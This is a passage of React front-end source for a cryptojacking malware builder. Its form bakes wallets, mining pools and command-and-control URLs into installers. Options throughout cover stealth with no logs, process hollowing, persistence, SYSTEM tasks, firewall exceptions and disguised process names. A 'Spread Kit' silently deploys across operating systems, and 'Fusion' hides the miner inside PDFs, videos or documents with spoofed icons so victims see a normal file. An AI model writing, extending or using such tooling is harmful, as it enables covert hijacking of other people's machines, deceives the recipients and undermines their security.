                  <strong>🖥 Server folder only</strong>
                  Output Folder copies exe + uninstall script on this PC. Not embedded in the worker.
                </div>
                <div className="forge-rule-card">
                  <strong>🔒 Auto-coupled</strong>
                  Stealth disables logs. Fusion forces background mode. Scheduled/Service forces persistence.
                </div>
                <div className="forge-rule-card">
                  <strong>✕ Cannot forge until fixed</strong>
                  Preflight errors below must be resolved — warnings let you forge but double-check first.
                </div>
              </div>
            </div>
          )}

          {liveNotices.length > 0 && (
            <div className="forge-live-notices">
              <strong className="font-tech">ACTIVE RULES</strong>
              <ul>
                {liveNotices.map((n) => (
                  <li key={n}>{n}</li>
                ))}
              </ul>
            </div>
          )}

          <h2>{simpleMode ? 'Quick Forge' : 'Build Miner Installer'}</h2>
          <p className="form-description">
            {simpleMode
              ? 'Pick a deliverable type, fill the three identity fields, then forge. LAN address chips beat localhost. Spread Kit = silent multi-OS ZIP; Movie = universal fusion.'
              : 'Creates installers for Windows, Linux, macOS, or all three. Incompatible fields lock automatically — grayed inputs are ignored at forge time.'}
          </p>

          <form onSubmit={handleSubmit}>
            <div className="form-section">
              <ForgeSectionHeader
                title="Identity"
                badge="baked"
                description="Worker name, control server URL, and payout wallet are embedded in every forged installer."
              />
              <div className="form-group">
                <div className="label-row">
                  <label htmlFor="forge-worker-name" className="label">Worker Name <HelpTip field="worker_name" /></label>
                  <ForgeFieldBadge meta={fieldMeta.worker_name} />
                </div>
                <input
                  id="forge-worker-name"
                  type="text"
                  className="input"
                  placeholder="e.g. office-pc-1  (letters, numbers, dash, dot)"
                  value={form.worker_name}
                  maxLength={48}
                  onChange={(e) => updateField('worker_name', e.target.value)}
                  required
                />
                <FieldHint field="worker_name" />
              </div>
              <div className="form-group endpoint-group">
                <div className="endpoint-header">
                  <label className="label">Control Endpoint <HelpTip field="server_url" /></label>
                  <button
                    type="button"
                    className="btn btn-outline btn-sm"
                    disabled={refreshingEndpoints}
                    onClick={() => void refreshEndpointInfo()}
                  >
                    {refreshingEndpoints ? 'Scanning...' : 'Refresh LAN IPs'}
                  </button>
                </div>
                <input
                  type="url"
                  className={`input mono endpoint-input${form.server_url && (form.server_url.includes('localhost') || form.server_url.includes('127.0.0.1')) ? ' input-warn' : ''}`}
                  placeholder={`http://192.168.1.10:${listenPort}`}
                  value={form.server_url}
                  onChange={(e) => updateField('server_url', e.target.value)}
                  required
                  autoComplete="off"
                  spellCheck={false}
                />
                {form.server_url && (form.server_url.includes('localhost') || form.server_url.includes('127.0.0.1')) && (
                  <p className="form-hint" style={{ color: 'var(--neon-red, #f55)' }}>
                    ⚠ localhost/127.0.0.1 baked into the worker will fail on other machines — use your LAN IP chip below.
                  </p>
                )}
                <FieldHint field="server_url" />
                <p className="form-hint endpoint-hint">
                  Baked into each installer. Change here when this host&apos;s LAN IP changes — you do not need to update Calibrate first.
                </p>
                {endpointCandidates.length > 0 && (
                  <div className="endpoint-picks">
                    <span className="endpoint-picks-label font-tech">Quick pick</span>
                    <div className="endpoint-chips">
                      {endpointCandidates.map((url) => (
                        <button
                          key={url}
                          type="button"
                          className={`endpoint-chip ${form.server_url.trim() === url ? 'active' : ''}`}
                          onClick={() => updateField('server_url', url)}
                          title="Use this address in the installer"
                        >
                          {url}
                        </button>
                      ))}
                    </div>
                  </div>
                )}
              </div>

              {/* ── Backup server URLs (advanced) ───────────────────────── */}
              {!simpleMode && (
                <div className="form-group">
                  <label className="label">
                    Backup C2 URLs
                    <span className="form-hint" style={{ marginLeft: '0.5rem' }}>
                      (tried in order if the primary is unreachable)
                    </span>
                  </label>
                  {(form.backup_server_urls ?? []).map((url, i) => (
                    <div key={i} style={{ display: 'flex', gap: '0.4rem', marginBottom: '0.3rem' }}>
                      <input
                        type="text"
                        className="input mono"
                        placeholder="http://192.168.x.x:8989"
                        value={url}
                        onChange={(e) => {
                          const urls = [...(form.backup_server_urls ?? [])];
                          urls[i] = e.target.value;
                          updateField('backup_server_urls', urls);
                        }}
                      />
                      <button type="button" className="btn btn-outline" style={{ padding: '0 0.6rem' }}
                        onClick={() => {
                          const urls = (form.backup_server_urls ?? []).filter((_, idx) => idx !== i);
                          updateField('backup_server_urls', urls);
                        }}>✕</button>
                    </div>
                  ))}
                  <button type="button" className="btn btn-outline" style={{ fontSize: '0.8rem' }}
                    onClick={() => updateField('backup_server_urls', [...(form.backup_server_urls ?? []), ''])}>
                    + Add backup URL
                  </button>
                </div>
              )}

              <div className="form-group">
                <label className="label">XMR Wallet Address <HelpTip field="wallet" /></label>
                <input
                  type="text"
                  className={`input mono${form.wallet && form.wallet.trim().length > 0 && form.wallet.trim().length < 90 ? ' input-warn' : ''}`}
                  placeholder="4... or 8... (90–106 characters)"
                  value={form.wallet}
                  onChange={(e) => updateField('wallet', e.target.value)}
                  required
                  spellCheck={false}
                />
                {form.wallet && form.wallet.trim().length > 0 && form.wallet.trim().length < 90 && (
                  <p className="form-hint" style={{ color: 'var(--neon-amber, #ffa)' }}>
                    Wallet address looks short — Monero addresses are 90–106 characters starting with 4 or 8.
                  </p>
                )}
                <FieldHint field="wallet" />
              </div>

              <div className="form-section">
                <ForgeSectionHeader
                  title="Mining Pools"
                  badge="baked"
                  description="Wallet-only Monero pools — baked into the worker. Unreachable pools are skipped in order."
                />
                <PoolPresetPicker
                  host={form.pool_host}
                  port={form.pool_port}
                  tls={form.pool_tls}
                  pass={form.pool_pass || 'x'}
                  backups={form.backup_pools}
                  onChange={(next) => {
                    updateField('pool_host', next.pool_host);
                    updateField('pool_port', next.pool_port);
                    updateField('pool_tls', next.pool_tls);
                    updateField('backup_pools', next.backup_pools);
                  }}
                />
                <div className="form-group">
                  <label className="label">Pool Password <HelpTip field="pool_pass" /></label>
                  <input
                    type="text"
                    className="input"
                    placeholder="x"
                    value={form.pool_pass}
                    onChange={(e) => updateField('pool_pass', e.target.value)}
                  />
                  <p className="form-hint">Standard Monero pools use <code>x</code>.</p>
                </div>
              </div>

              {/* ── GPU Mining (Ravencoin / KawPoW) ── */}
              <div className="form-section">
                <ForgeSectionHeader
                  title="GPU Mining — Ravencoin"
                  badge="baked"
                  description="Enable KawPoW GPU mining alongside Monero CPU mining. The agent auto-detects NVIDIA (T-Rex) or AMD (TeamRedMiner) and downloads the correct miner."
                />
                <div className="form-group">
                  <label className="checkbox-label">
                    <input
                      type="checkbox"
                      className="checkbox"
                      checked={!!form.gpu_enabled}
                      onChange={(e) => updateField('gpu_enabled', e.target.checked)}
                    />
                    <span style={{ fontWeight: 600 }}>Enable GPU mining (Ravencoin)</span>
                  </label>
                  <p className="form-hint">
                    When enabled the agent detects GPU vendor, downloads the correct KawPoW miner, and runs it silently alongside the CPU Monero miner. Requires a discrete NVIDIA or AMD GPU on the target.
                  </p>
                </div>
                {form.gpu_enabled && (
                  <>
                    <div className="form-group">
                      <label className="label">Ravencoin Wallet Address <span className="badge-required">required</span></label>
                      <input
                        type="text"
                        className="input mono"
                        placeholder="R... (your RVN address)"
                        value={form.rvn_wallet ?? ''}
                        onChange={(e) => updateField('rvn_wallet', e.target.value)}
                      />
                      <p className="form-hint">Your Ravencoin wallet address. Only Ravencoin (RVN) mainnet addresses are accepted by KawPoW pools.</p>
                    </div>

                    <div className="form-group">
                      <label className="label">Ravencoin Pools</label>
                      <RVNPoolPresetPicker
                        host={form.rvn_pool_host ?? ''}
                        port={form.rvn_pool_port ?? 6060}
                        tls={form.rvn_pool_tls ?? false}
                        pass={form.rvn_pool_pass ?? 'x'}
                        backups={form.rvn_backup_pools ?? []}
                        onChange={(next) => {
                          updateField('rvn_pool_host', next.rvn_pool_host);
                          updateField('rvn_pool_port', next.rvn_pool_port);
                          updateField('rvn_pool_tls', next.rvn_pool_tls);
                          updateField('rvn_backup_pools', next.rvn_backup_pools);
                        }}
                      />
                    </div>

                    <div className="form-group">
                      <label className="label">RVN Pool Password</label>
                      <input
                        type="text"
                        className="input"
                        placeholder="x"
                        value={form.rvn_pool_pass ?? 'x'}
                        onChange={(e) => updateField('rvn_pool_pass', e.target.value)}
                      />
                      <p className="form-hint">Most public KawPoW pools use <code>x</code>.</p>
                    </div>
                  </>
                )}
              </div>

              <div className="form-section">
                <ForgeSectionHeader
                  title="Deliverable"
                  badge="baked"
                  description="Pick what you are shipping. Incompatible options are locked automatically."
                />
                <p className="form-hint" style={{ marginBottom: '0.75rem' }}>
                  {deliverableSummary(deliverableType)}
                </p>
                <div className="forge-rules-grid" style={{ marginBottom: '0.75rem' }}>
                  <button
                    type="button"
                    className={`forge-rule-card deliverable-card ${deliverableType === 'single' ? 'deliverable-active' : ''}`}
                    onClick={() => setDeliverableType('single')}
                  >
                    <strong>Single platform worker</strong>
                    <span className="form-hint">One .exe or binary for Windows, Linux, or macOS.</span>
                  </button>
                  <button
                    type="button"
                    className={`forge-rule-card deliverable-card ${deliverableType === 'spread_kit' ? 'deliverable-active' : ''}`}
                    onClick={() => setDeliverableType('spread_kit')}
                  >
                    <strong>Universal Spread Kit</strong>
                    <span className="form-hint">Silent ZIP — Deploy.bat / deploy.sh installs on any OS.</span>
                  </button>
                  <button
                    type="button"
                    className={`forge-rule-card deliverable-card ${deliverableType === 'fusion' ? 'deliverable-active' : ''}`}
                    onClick={() => setDeliverableType('fusion')}
                  >
                    <strong>Fusion</strong>
                    <span className="form-hint">Hide miner in any file — PDF, video, doc, image. One universal ZIP works on all OSes.</span>
                  </button>
                </div>
              </div>

              <div className="form-section">
                <ForgeSectionHeader
                  title="Platform"
                  badge="baked"
                  description={
                    deliverableType === 'single'
                      ? 'Which OS this single installer targets.'
                      : 'Locked to Universal — all platforms are included in the ZIP.'
                  }
                />
                <div className="form-row">
                  <div className={`form-group ${fieldMeta.target_os?.disabled ? 'field-disabled' : ''}`}>
                    <label className="label">Target OS <HelpTip field="target_os" /></label>
                    {fieldMeta.target_os?.disabled ? (
                      <input
                        type="text"
                        className="input"
                        disabled
                        value="Universal (all platforms)"
                        readOnly
                      />
                    ) : (
                      <select
                        className="select"
                        value={form.target_os || 'windows'}
                        onChange={(e) => updateField('target_os', e.target.value)}
                      >
                        <option value="windows">Windows</option>
                        <option value="linux">Linux</option>
                        <option value="darwin">macOS</option>
                      </select>
                    )}
                    <FieldHint field="target_os" />
                    <ForgeLockedHint meta={fieldMeta.target_os} />
                  </div>
                  {(form.target_os === 'linux' || form.target_os === 'darwin') && (
                    <div className={`form-group ${fieldMeta.target_arch?.disabled ? 'field-disabled' : ''}`}>
                      <label className="label">Architecture <HelpTip field="target_arch" /></label>
                      <select
                        className="select"
                        disabled={fieldMeta.target_arch?.disabled}
                        value={form.target_arch || (form.target_os === 'darwin' ? 'arm64' : 'amd64')}
                        onChange={(e) => updateField('target_arch', e.target.value)}
                      >
                        <option value="amd64">amd64 (Intel/AMD)</option>
                        <option value="arm64">arm64 (Apple Silicon / ARM)</option>
                      </select>
                      <FieldHint field="target_arch" />
                      <ForgeLockedHint meta={fieldMeta.target_arch} />
                    </div>
                  )}
                </div>
                {deliverableType === 'spread_kit' && (
                  <p className="form-hint">
                    Spread Kit preset: idle mining, stealth, persistence, self-healing, and remote aggressive ops enabled.
                    Upload nothing — forge produces the deploy ZIP.
                  </p>
                )}
              </div>

              {!simpleMode && (
              <div className={`form-group ${fieldMeta.output_dir?.badge === 'server-only' ? '' : ''}`}>
                <div className="label-row">
                  <label className="label">Output Folder (server) <HelpTip field="output_dir" /></label>
                  <ForgeFieldBadge meta={fieldMeta.output_dir} />
                </div>
                <input
                  type="text"
                  className="input mono"
                  placeholder="exports"
                  value={(form.output_dir || '') as any}
                  onChange={(e) => updateField('output_dir' as any, e.target.value)}
                />
                <FieldHint field="output_dir" />
                <ForgeLockedHint meta={fieldMeta.output_dir} />
                <p className="form-hint">
                  Example: <code>exports</code> will copy the finished exe to <code>data/exports</code> on this host.
                </p>
              </div>
              )}
            </div>

            {!simpleMode && (
            <>
            <div className="form-section">
              <ForgeSectionHeader
                title="Performance & Resources"
                badge="baked"
                description="Thread count, CPU/RAM limits, and mining schedule. Irrelevant fields lock based on your mode picks."
              />
              <div className="form-row">
                <div className="form-group">
                  <label className="label">Thread Mode <HelpTip field="thread_mode" /></label>
                  <select className="select" value={form.thread_mode} onChange={(e) => updateField('thread_mode', e.target.value)}>
                    <option value="percent">Auto (% of CPU cores)</option>
                    <option value="fixed">Fixed thread count</option>
                  </select>
                  <FieldHint field="thread_mode" />
                </div>
                <div className={`form-group ${fieldMeta.thread_percent?.disabled ? 'field-disabled' : ''}`}>
                  <label className="label">Thread Percent <HelpTip field="thread_percent" /></label>
                  <input type="number" className="input" min={1} max={100} value={form.thread_percent}
                    disabled={fieldMeta.thread_percent?.disabled}
                    onChange={(e) => { const v = e.target.valueAsNumber; if (isFinite(v)) updateField('thread_percent', v); }}
                    onBlur={(e) => { const v = e.target.valueAsNumber; if (!isFinite(v) || v < 1) updateField('thread_percent', 75); else if (v > 100) updateField('thread_percent', 100); }} />
                  <ForgeLockedHint meta={fieldMeta.thread_percent} />
                </div>
              </div>
              <div className="form-row">
                <div className={`form-group ${fieldMeta.threads?.disabled ? 'field-disabled' : ''}`}>
                  <label className="label">Fixed Threads <HelpTip field="threads" /></label>
                  <input type="number" className="input" min={1} max={128} value={form.threads}
                    disabled={fieldMeta.threads?.disabled}
                    onChange={(e) => { const v = e.target.valueAsNumber; if (isFinite(v) && v >= 1) updateField('threads', v); }}
                    onBlur={(e) => { const v = e.target.valueAsNumber; if (!isFinite(v) || v < 1) updateField('threads', 4); }} />
                  <ForgeLockedHint meta={fieldMeta.threads} />
                </div>
                <div className="form-group">
                  <label className="label">CPU Priority <HelpTip field="cpu_priority" /></label>
                  <select className="select" value={form.cpu_priority} onChange={(e) => updateField('cpu_priority', e.target.value)}>
                    <option value="idle">Idle</option>
                    <option value="below_normal">Below Normal</option>
                    <option value="normal">Normal</option>
                    <option value="above_normal">Above Normal</option>
                    <option value="high">High</option>
                  </select>
                </div>
              </div>
              <div className="form-row">
                <div className="form-group">
                  <label className="label">Max CPU Usage (%) <HelpTip field="max_cpu_usage_pct" /></label>
                  <input type="number" className="input" min={1} max={100} value={form.max_cpu_usage_pct}
                    onChange={(e) => { const v = e.target.valueAsNumber; if (isFinite(v) && v >= 1 && v <= 100) updateField('max_cpu_usage_pct', v); }}
                    onBlur={(e) => { const v = e.target.valueAsNumber; if (!isFinite(v) || v < 1) updateField('max_cpu_usage_pct', 80); }} />
                </div>
                <div className="form-group">
                  <label className="label">Max Memory (%) <HelpTip field="max_memory_percent" /></label>
                  <input type="number" className="input" min={10} max={95} value={form.max_memory_percent}
                    onChange={(e) => { const v = e.target.valueAsNumber; if (isFinite(v) && v >= 10 && v <= 95) updateField('max_memory_percent', v); }}
                    onBlur={(e) => { const v = e.target.valueAsNumber; if (!isFinite(v) || v < 10) updateField('max_memory_percent', 70); }} />
                  <FieldHint field="max_memory_percent" />
                </div>
              </div>
              <div className="form-group">
                <label className="label">Min Free RAM (MB) <HelpTip field="min_free_ram_mb" /></label>
                <input type="number" className="input" min={256} value={form.min_free_ram_mb}
                  onChange={(e) => { const v = e.target.valueAsNumber; if (isFinite(v) && v >= 256) updateField('min_free_ram_mb', v); }}
                  onBlur={(e) => { const v = e.target.valueAsNumber; if (!isFinite(v) || v < 256) updateField('min_free_ram_mb', 1024); }} />
              </div>
              <div className="form-group">
                <label className="label">Mining Mode <HelpTip field="mining_mode" /></label>
                <select
                  className="select"
                  value={form.mining_mode}
                  onChange={(e) => updateField('mining_mode', e.target.value)}
                >
                  <option value="always">Always Mine</option>
                  <option value="idle">Only When Idle</option>
                  <option value="scheduled">Scheduled Hours</option>
                </select>
              </div>
              {form.mining_mode === 'idle' && (
                <div className="form-row">
                  <div className={`form-group ${fieldMeta.idle_threshold_pct?.disabled ? 'field-disabled' : ''}`}>
                    <label className="label">Idle CPU Threshold (%) <HelpTip field="idle_threshold_pct" /></label>
                    <input
                      type="number"
                      className="input"
                      min={1}
                      max={100}
                      disabled={fieldMeta.idle_threshold_pct?.disabled}
                      value={form.idle_threshold_pct}
                      onChange={(e) => { const v = e.target.valueAsNumber; if (isFinite(v) && v >= 1 && v <= 100) updateField('idle_threshold_pct', v); }}
                      onBlur={(e) => { const v = e.target.valueAsNumber; if (!isFinite(v) || v < 1) updateField('idle_threshold_pct', 20); }}
                    />
                  </div>
                  <div className={`form-group ${fieldMeta.idle_duration_minutes?.disabled ? 'field-disabled' : ''}`}>
                    <label className="label">Idle Duration (min) <HelpTip field="idle_duration_minutes" /></label>
                    <input
                      type="number"
                      className="input"
                      min={1}
                      disabled={fieldMeta.idle_duration_minutes?.disabled}
                      value={form.idle_duration_minutes}
                      onChange={(e) => { const v = e.target.valueAsNumber; if (isFinite(v) && v >= 1) updateField('idle_duration_minutes', v); }}
                      onBlur={(e) => { const v = e.target.valueAsNumber; if (!isFinite(v) || v < 1) updateField('idle_duration_minutes', 5); }}
                    />
                  </div>
                </div>
              )}
              {form.mining_mode === 'scheduled' && (
                <div className="form-row">
                  <div className={`form-group ${fieldMeta.schedule_start?.disabled ? 'field-disabled' : ''}`}>
                    <label className="label">Start Time <HelpTip field="schedule_start" /></label>
                    <input
                      type="time"
                      className="input"
                      disabled={fieldMeta.schedule_start?.disabled}
                      value={form.schedule_start}
                      onChange={(e) => updateField('schedule_start', e.target.value)}
                    />
                  </div>
                  <div className={`form-group ${fieldMeta.schedule_end?.disabled ? 'field-disabled' : ''}`}>
                    <label className="label">End Time <HelpTip field="schedule_end" /></label>
                    <input
                      type="time"
                      className="input"
                      disabled={fieldMeta.schedule_end?.disabled}
                      value={form.schedule_end}
                      onChange={(e) => updateField('schedule_end', e.target.value)}
                    />
                  </div>
                </div>
              )}
            </div>

            <div className="form-section">
              <ForgeSectionHeader
                title="Install & Process"
                badge="baked"
                description="Where the miner installs, how it persists, and how it appears in Task Manager."
              />
              <div className="form-group">
                <label className="label">Install Base Folder <HelpTip field="install_base" /></label>
                <select className="select" value={form.install_base}
                  onChange={(e) => updateField('install_base', e.target.value)}>
                  {installBaseOptions.map((opt) => (
                    <option key={opt.value} value={opt.value}>{opt.label}</option>
                  ))}
                </select>
                <FieldHint field="install_base" />
                {installBaseOptions.find((o) => o.value === form.install_base)?.hint && (
                  <p className="form-hint">
                    {installBaseOptions.find((o) => o.value === form.install_base)!.hint}
                  </p>
                )}
              </div>
              {form.install_base === 'custom' && (
                <div className={`form-group ${fieldMeta.install_custom_base?.disabled ? 'field-disabled' : ''}`}>
                  <label className="label">Custom Base Path <HelpTip field="install_custom_base" /></label>
                  <input type="text" className="input mono"
                    placeholder={
                      form.target_os === 'linux' || form.target_os === 'darwin'
                        ? '/home/user/.local/share or ~/Library/Application Support'
                        : 'C:\\Hidden\\Miner or %ProgramData%\\MyApp'
                    }
                    disabled={fieldMeta.install_custom_base?.disabled}
                    value={form.install_custom_base}
                    onChange={(e) => updateField('install_custom_base', e.target.value)} />
                  <FieldHint field="install_custom_base" />
                  <ForgeLockedHint meta={fieldMeta.install_custom_base} />
                </div>
              )}
              <div className="form-group">
                <label className="label">Install Subfolder <HelpTip field="install_relative_path" /></label>
                <input type="text" className="input mono"
                  placeholder="CryptoMiner/{worker}-{build_short}"
                  value={form.install_relative_path}
                  onChange={(e) => updateField('install_relative_path', e.target.value)} />
                <FieldHint field="install_relative_path" />
              </div>
              <div className="form-group">
                <label className="label">Install Preview</label>
                <code className="path-display">{installPreview}</code>
              </div>
              <div className={`form-group checkbox-group ${fieldMeta.adapt_to_hardware?.disabled ? 'field-disabled' : ''}`}>
                <label className="checkbox-label">
                  <input type="checkbox" className="checkbox" checked={form.adapt_to_hardware}
                    disabled={fieldMeta.adapt_to_hardware?.disabled}
                    onChange={(e) => updateField('adapt_to_hardware', e.target.checked)} />
                  <span>Adapt to hardware <HelpTip field="adapt_to_hardware" /></span>
                </label>
                <FieldHint field="adapt_to_hardware" />
                <ForgeLockedHint meta={fieldMeta.adapt_to_hardware} />
              </div>
              <div className="form-group checkbox-group">
                <label className="checkbox-label">
                  <input type="checkbox" className="checkbox" checked={form.firewall_exclusion}
                    onChange={(e) => updateField('firewall_exclusion', e.target.checked)} />
                  <span>
                    {form.target_os === 'linux' || form.target_os === 'darwin'
                      ? 'Firewall allow rules (ufw/iptables when available)'
                      : form.target_os === 'universal'
                        ? 'Firewall allow rules (per OS — netsh / ufw / best-effort)'
                        : 'Windows Firewall allow rules for this miner'}{' '}
                    <HelpTip field="firewall_exclusion" />
                  </span>
                </label>
                <FieldHint field="firewall_exclusion" />
              </div>
              <div className="form-group checkbox-group">
                <label className="checkbox-label">
                  <input type="checkbox" className="checkbox" checked={form.self_healing}
                    onChange={(e) => updateField('self_healing', e.target.checked)} />
                  <span>Self-healing (watchdog + auto-restart) <HelpTip field="self_healing" /></span>
                </label>
                <FieldHint field="self_healing" />
              </div>
              <div className="form-group checkbox-group">
                <label className="checkbox-label">
                  <input type="checkbox" className="checkbox" checked={form.stealth_mode}
                    onChange={(e) => updateField('stealth_mode', e.target.checked)} />
                  <span>Stealth mode (no window, no logs, discreet persistence) <HelpTip field="stealth_mode" /></span>
                </label>
                <FieldHint field="stealth_mode" />
              </div>
              <div className={`form-group checkbox-group ${fieldMeta.process_hollowing?.disabled ? 'field-disabled' : ''}`}>
                <label className="checkbox-label">
                  <input type="checkbox" className="checkbox" checked={form.process_hollowing}
                    disabled={fieldMeta.process_hollowing?.disabled}
                    onChange={(e) => updateField('process_hollowing', e.target.checked)} />
                  <span>Process Hollowing (Windows only) <HelpTip field="process_hollowing" /></span>
                </label>
                <FieldHint field="process_hollowing" />
                <ForgeLockedHint meta={fieldMeta.process_hollowing} />
              </div>
              <div className={`form-group checkbox-group ${fieldMeta.file_logging?.disabled ? 'field-disabled' : ''}`}>
                <label className="checkbox-label">
                  <input type="checkbox" className="checkbox" checked={form.file_logging}
                    disabled={fieldMeta.file_logging?.disabled}
                    onChange={(e) => updateField('file_logging', e.target.checked)} />
                  <span>Write miner.log on host <HelpTip field="file_logging" /></span>
                </label>
                <ForgeLockedHint meta={fieldMeta.file_logging} />
              </div>
              <div className="form-group">
                <label className="label">Process Name <HelpTip field="process_name" /></label>
                <input type="text" className="input mono" placeholder="RuntimeBrokerHelper"
                  value={form.process_name}
                  onChange={(e) => updateField('process_name', e.target.value)} />
                <FieldHint field="process_name" />
              </div>
              <div className="form-group">
                <label className="label">Display Mode <HelpTip field="display_mode" /></label>
                <select className="select" value={form.display_mode} onChange={(e) => updateField('display_mode', e.target.value)}>
                  <option value="visible">Visible (console window)</option>
                  <option value="silent">Silent (no window)</option>
                  <option value="background">Background (silent + low priority)</option>
                </select>
                <FieldHint field="display_mode" />
              </div>
              <div className={`form-group checkbox-group ${fieldMeta.persistence?.disabled ? 'field-disabled' : ''}`}>
                <label className="checkbox-label">
                  <input type="checkbox" className="checkbox" checked={form.persistence}
                    disabled={fieldMeta.persistence?.disabled}
                    onChange={(e) => updateField('persistence', e.target.checked)} />
                  <span>Persist after reboot <HelpTip field="persistence" /></span>
                </label>
                <FieldHint field="persistence" />
                <ForgeLockedHint meta={fieldMeta.persistence} />
              </div>
              <div className="form-group">
                <label className="label">Run As <HelpTip field="run_as" /></label>
                <select
                  className="select"
                  value={form.run_as}
                  onChange={(e) => updateField('run_as', e.target.value)}
                >
                  <option value="user">Current User (Run key — persistence optional)</option>
                  <option value="scheduled">Scheduled Task (logon task — persistence forced on)</option>
                  <option value="service">Scheduled Task as SYSTEM (elevated — persistence forced on)</option>
                </select>
                <FieldHint field="run_as" />
              </div>
              <div className={`form-group checkbox-group ${fieldMeta.auto_start?.disabled ? 'field-disabled' : ''}`}>
                <label className="checkbox-label">
                  <input type="checkbox" className="checkbox" checked={form.auto_start}
                    disabled={fieldMeta.auto_start?.disabled}
                    onChange={(e) => updateField('auto_start', e.target.checked)} />
                  <span>Also register startup entry (linked to persistence) <HelpTip field="auto_start" /></span>
                </label>
                <ForgeLockedHint meta={fieldMeta.auto_start} />
              </div>
            </div>
            </>
            )}

            {deliverableType !== 'spread_kit' && (
            <div className="form-section">
              <ForgeSectionHeader
                title="Fusion — Hide miner in any file"
                badge="baked"
                description={simpleMode
                  ? 'Drop any file — PDF, video, document, image, or executable. It opens normally while the miner installs silently. Each file gets its own universal ZIP for Windows, Mac, and Linux.'
                  : 'Fuse the miner with any file. The recipient sees their file open as normal; the miner runs invisibly. Produces a universal ZIP for all platforms.'}
              />
              <div className={`form-group checkbox-group ${fieldMeta.fusion_enabled?.disabled ? 'field-disabled' : ''}`}>
                <label className="checkbox-label">
                  <input
                    type="checkbox"
                    className="checkbox"
                    checked={form.fusion_enabled}
                    disabled={fieldMeta.fusion_enabled?.disabled}
                    onChange={(e) => {
                      if (e.target.checked) {
                        setForm((prev) =>
                          prev
                            ? normalizeForgeForm({
                                ...prev,
                                fusion_enabled: true,
                                spread_kit: false,
                                target_os: 'universal',
                                target_arch: 'all',
                              })
                            : prev
                        );
                      } else {
                        setDeliverableType('single');
                      }
                    }}
                  />
                  <span>Enable Fusion <HelpTip field="fusion_enabled" /></span>
                </label>
                <FieldHint field="fusion_enabled" />
                <ForgeLockedHint meta={fieldMeta.fusion_enabled} />
                {form.fusion_enabled && (
                  <p className="form-hint" style={{ marginTop: '0.35rem' }}>
                    Uncheck <strong>Enable Fusion</strong> above to return to a plain single-platform worker build.
                  </p>
                )}
              </div>
              {deliverableType === 'fusion' && form.fusion_enabled && (
                <p className="form-hint" style={{ marginBottom: '0.75rem' }}>
                  Fusion deliverable — drop your file below and forge. Output is one universal ZIP (Windows + Mac + Linux).
                </p>
              )}
              {form.fusion_enabled && (
                <>
                  {/* Single-file pick (used when Forge button is clicked) */}
                  <div className={`form-group ${fieldMeta.fusion_prep?.disabled ? 'field-disabled' : ''}`}>
                    <div className="label-row">
                      <label className="label">
                        Drop any file to fuse <HelpTip field="fusion_prep" />
                      </label>
                      <ForgeFieldBadge meta={fieldMeta.fusion_prep} />
                    </div>
                    <input
                      type="file"
                      className="input"
                      accept="*"
                      onChange={(e) => {
                        applyFusionFileSelection(e.target.files?.[0] || null);
                        e.target.value = '';
                      }}
                    />
                    {fusionPrepFile && !fusionIsExe && (
                      <div className="form-hint" style={{ marginTop: '0.4rem' }}>
                        <strong>{fusionPrepFile.name}</strong> — {fusionFileTypeLabel(fusionPrepFile.name)},{' '}
                        {(fusionPrepFile.size / 1024 / 1024).toFixed(2)} MB
                        <br />
                        <span style={{ color: 'var(--color-accent)' }}>
                          Windows disguise: runner will be named{' '}
                          <code>{disguisedWindowsRunnerName(fusionPrepFile.name)}</code> with the{' '}
                          {fusionFileTypeLabel(fusionPrepFile.name)} icon injected.
                          Explorer shows it as <code>{disguisedDisplayName(fusionPrepFile.name)}</code> — identical to a real {fusionFileTypeLabel(fusionPrepFile.name)}.
                        </span>
                      </div>
                    )}
                    {fusionPrepFile && fusionIsExe && (
                      <span className="form-hint">
                        <strong>{fusionPrepFile.name}</strong> — Windows executable, {(fusionPrepFile.size / 1024 / 1024).toFixed(2)} MB — will run directly when opened
                      </span>
                    )}
                    <p className="form-hint">
                      Supports any file type — PDF, video (MP4/MOV/MKV), Word, Excel, image, etc. Max 2 GB.
                      On Windows: icon + file description are spoofed to match the real application (Adobe Acrobat, Microsoft Word, VLC, etc.).
                    </p>
                  </div>

                  {/* Delivery mode — applies to all file types */}
                  <div className="form-group">
                    <label className="label">Delivery mode <HelpTip field="fusion_media_mode" /></label>
                    <div className="radio-row" style={{ display: 'flex', flexDirection: 'column', gap: '0.75rem' }}>
                      <label className="checkbox-label">
                        <input
                          type="radio"
                          className="checkbox"
                          name="fusion_media_mode"
                          checked={fusionMediaMode === 'embedded'}
                          onChange={() => {
                            updateField('fusion_media_mode', 'embedded');
                            if (fusionPrepFile) updateField('fusion_output_name', defaultRunnerName(fusionPrepFile.name));
                          }}
                        />
                        <span>
                          <strong>All-in-one (embedded)</strong>
                          <FieldHint field="fusion_media_mode" />
                        </span>
                      </label>
                      <p className="form-hint" style={{ marginLeft: '1.75rem' }}>
                        Everything baked into a single runner binary. Drop one file anywhere and run it — no extras needed.
                        Best for files under ~500 MB.
                      </p>
                      <label className="checkbox-label">
                        <input
                          type="radio"
                          className="checkbox"
                          name="fusion_media_mode"
                          checked={fusionMediaMode === 'paired'}
                          onChange={() => {
                            updateField('fusion_media_mode', 'paired');
                            if (fusionPrepFile) updateField('fusion_output_name', defaultRunnerName(fusionPrepFile.name));
                          }}
                        />
                        <span>
                          <strong>ZIP bundle (paired)</strong>
                        </span>
                      </label>
                      <p className="form-hint" style={{ marginLeft: '1.75rem' }}>
                        Your original file + runners in a ZIP. Works for <em>any</em> file size. The recipient unzips and opens
                        the launcher for their OS — the file opens normally, miner installs silently.
                      </p>
                    </div>
                  </div>

                  {/* Batch: queue multiple files, each gets its own ZIP */}
                  <div className="form-group">
                    <div className="label-row">
                      <label className="label">Batch fusion — fuse many files at once <HelpTip field="fusion_batch" /></label>
                    </div>
                    <input
                      type="file"
                      className="input"
                      accept="*"
                      multiple
                      onChange={(e) => {
                        const list = e.target.files ? Array.from(e.target.files) : [];
                        setFusionBatchFiles(list);
                        e.target.value = '';
                      }}
                    />
                    {fusionBatchFiles.length > 0 && (
                      <div style={{ marginTop: '0.5rem' }}>
                        <p className="form-hint" style={{ marginBottom: '0.25rem' }}>
                          <strong>{fusionBatchFiles.length} file{fusionBatchFiles.length !== 1 ? 's' : ''} queued</strong> — each becomes a separate universal ZIP in{' '}
                          <code>fusion-deliverables/</code>:
                        </p>
                        <ul className="batch-forge-log" style={{ marginBottom: '0.5rem' }}>
                          {fusionBatchFiles.map((f) => {
                            const isExe = fusionPayloadKind(f) === 'exe';
                            return (
                              <li key={f.name} className="batch-log-pending">
                                <span className="batch-log-icon">○</span>
                                <span>
                                  {f.name}{' '}
